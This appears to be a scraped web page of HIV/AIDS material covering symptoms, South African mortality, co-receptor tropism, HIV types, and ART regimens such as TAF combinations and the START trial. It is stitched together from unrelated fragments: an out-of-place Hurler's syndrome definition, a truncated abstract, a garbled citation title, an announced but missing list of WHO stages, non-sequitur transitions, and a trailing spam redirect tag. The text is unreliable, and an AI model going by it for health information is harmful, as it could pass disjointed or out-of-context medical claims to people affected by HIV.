The human immunodeficiency virus (HIV) causes HIV infection and the acquired immunodeficiency syndrome (AIDS). Symptoms and signs of HIV infection include fatigue, enlarged lymph glands, and recurrent vaginal yeast infections. Highly active antiretroviral therapy (ART) is the standard treatment for HIV infection.
You might not know if you get infected by HIV. Some people get fever, headache, sore muscles and joints, stomach ache, swollen lymph glands, or a skin rash for one or two weeks. Most people think it’s the flu. Some people have no symptoms. Fact Sheet 103 has more information on the early stage of HIV infection.
The mortality rate in some countries has greatly increased. In South Africa (a country that, despite having a relatively late-onset HIV epidemic, has developed one of the highest prevalence rates), the all-cause HIV-associated mortality rate increased by 79% between 1997 and 2004. In women aged 25-34 years, mortality rates increased by 500% during this period.
^ Jump up to: a b c Coakley E, Petropoulos CJ, Whitcomb JM (2005). “Assessing ch vbgemokine co-receptor usage in HIV”. Current Opinion in Infectious Diseases. 18 (1): 9–15. doi:10.1097/00001432-200502000-00003. PMID 15647694.
There are different variants of HIV, and the cell types that they infect are determined to a large degree by which chemokine receptor they bind as co-receptor. The variants of HIV that are associated with primary infections use CCR5, which binds the CC chemokines RANTES, MIP-1α, and MIP-1β (see Chapter 2), as a co-receptor, and require only a low level of CD4 on the cells they infect. These variants of HIV infect dendritic cells, macrophages, and T cells in vivo. However, they are often described simply as ‘macrophage-tropic’ because they infect macrophage but not T-cell lines in vitro and the cell tropism of different HIV variants was originally defined by their ability to grow in different cell lines.
ABSTRACT Human immunodeficiency virus type 1 (HIV-1) Env-, Gag-, Pol-, Nef-, and Tat-specific cytotoxic T-lymphocyte (CTL) activities were quantitated temporally in five patients with symptomatic primary HIV-1 infection. A dominant CD8 (+)-mediated, major
Protease is an enzyme that HIV needs to replicate. As the name suggests, protease inhibitors bind to the enzyme and inhibit its action, preventing HIV from making copies of itself. These include atazanavir/cobicistat (Evotaz), lopinavir/ritonavir (Kaletra), and darunavir/cobicistat (Prezcobix).
Hurler’s syndrome; lipochondrodystrophy; dysostosis multiplex autosomal-recessive inherited generalized lipid disturbance and mucopolysaccharoidosis, affecting cartilage, bone, skin, subcutaneous tissues, brain, liver and spleen; characterized by short stature, shortness of neck, trunk and digits, kyphosis, reduced joint mobility, learning difficulties, characteristic facies (so-called gargoylism) and visual impairment
HIV-positive patients who are taking anti-retroviral medications are less likely to transmit the virus. For example, pregnant women who are on treatment at the time of delivery transmit HIV to the infant about 5% of the time, compared to approximately 20% if medications are not used.
HIV-1 is the most common and pathogenic strain of the virus. Scientists divide HIV-1 into a major group (Group M) and two or more minor groups, namely Group N, O and possibly a group P. Each group is believed to represent an independent transmission of SIV into humans (but subtypes within a group are not). A total of 39 ORFs are found in all six possible reading frames (RFs) of HIV-1 complete genome sequence, but only a few of them are functional.
Earlier HIV antiretroviral treatment is crucial — it improves quality of life, extends life expectancy, and reduces the risk of transmission, according to the World Health Organization’s guidelines issued in June 2013.
Antiretroviral treatment substantially reduces the risk that HIV will progress to AIDS. In developed countries, use of ART has turned HIV into a chronic disease that may never progress to AIDS. Conversely, if infected people are not able to take their medications or have a virus that has developed resistance to several medications, they are at increased risk for progression to AIDS. If AIDS is not treated, 50% of people will die within nine months of the diagnosis.
Two types of HIV have been characterized: HIV-1 and HIV-2. HIV-1 is the virus that was initially discovered and termed both LAV (Lymphadenopathy Associated Virus) and HTLV-III (Human T cell Lymphotropic Virus III). HIV-1 is more virulent and more infective than HIV-2, and is the cause of the majority of HIV infections globally. The lower infectivity of HIV-2 compared to HIV-1 implies that fewer of those exposed to HIV-2 will be infected per exposure. Due to its relatively poor capacity for transmission, HIV-2 is largely confined to West Africa.
Sexual intercourse when either partner has a genital herpes infection, syphilis, or another sexually transmitted disease (STD) that can cause sores or tears in the skin or inflammation of the genitals
Being HIV-positive, or having HIV disease, is not the same as having AIDS. Many people are HIV-positive but don’t get sick for many years. As HIV disease continues, it slowly wears down the immune system. Viruses, parasites, fungi and bacteria that usually don’t cause any problems can make you very sick if your immune system is damaged. These are called “opportunistic infections.” See Fact Sheet 500 for an overview of opportunistic infections.
Throughout the disease, viral load steadily increases and immunodeficiency progressively worsens (due to the decreasing CD4 count), thereby causing HIV/AIDS to manifest in stages. The World Health Organization (WHO) has categorized HIV disease into 4 stages:
Because disease-related complications can occur in untreated patients with high CD4 counts and because less toxic drugs have been developed, treatment with ART is now recommended for nearly all patients. The benefits of ART outweigh the risks in every patient group and setting that has been carefully studied. In the Strategic Timing of AntiRetroviral Treatment (START) study, 5472 treatment-naïve patients with HIV infection and CD4 counts > 350 cells/mL were randomized to start ART immediately (immediate initiation) or to defer ART until their CD4 count decreased to < 250 cells/mL(deferred initiation). Risk of AIDS-related events (eg, TB, Kaposi sarcoma, malignant lymphomas) and non-AIDS–related events (eg, non-AIDS cancer, cardiovascular disease) was lower in the immediate-initiation group (1). The new formulation of tenofovir (TAF) is available as combination pills only, including EVG/COBI/FTC/TAF (Genvoya) (150/150/200/10 mg), FTC/TAF (200/25 mg) and TAF/FTC/RPV (25/200/25 mg). There is also single tablet boosted PI advanced stages of development, DRV/COBI/FTC/TAF (800/150/200/10 mg). The new formulation of tenofovir results in lower plasma levels and higher intracellular concentrations of the active drug. Data to date suggests that compared to TDF-containing regimens this form is equally effective with less adverse effects on bone mineral density and possibly on the kidneys. However, through international efforts, as of 2016, an estimated 19.5 million people living with HIV were accessing antiretroviral therapy, dramatically reducing deaths and transmission in many countries. Treatment cannot (with rare exceptions) eliminate the virus from the body, although the HIV level often decreases so much that it cannot be detected in blood or other fluids or tissues. An undetectable level is the goal of treatment. If treatment is stopped, the HIV level increases, and the CD4 count begins to fall. Even with anti-retroviral treatment, over the long term HIV-infected people may experience neurocognitive disorders, osteoporosis, neuropathy, cancers, nephropathy, and cardiovascular disease. Some conditions like lipodystrophy may be caused both by HIV and its treatment. Fungal and viral infections: Although prophylaxis for these infections is not routinely necessary, some recommend fluconazole in patients with CD4 + T-cell counts under 50/µL to prevent candidal or cryptococcal infections and to protect against endemic fungal infections; oral ganciclovir is indicated for CMV prophylaxis in patients with advanced AIDS [redirect url='http://penetratearticles.info/bump' sec='7']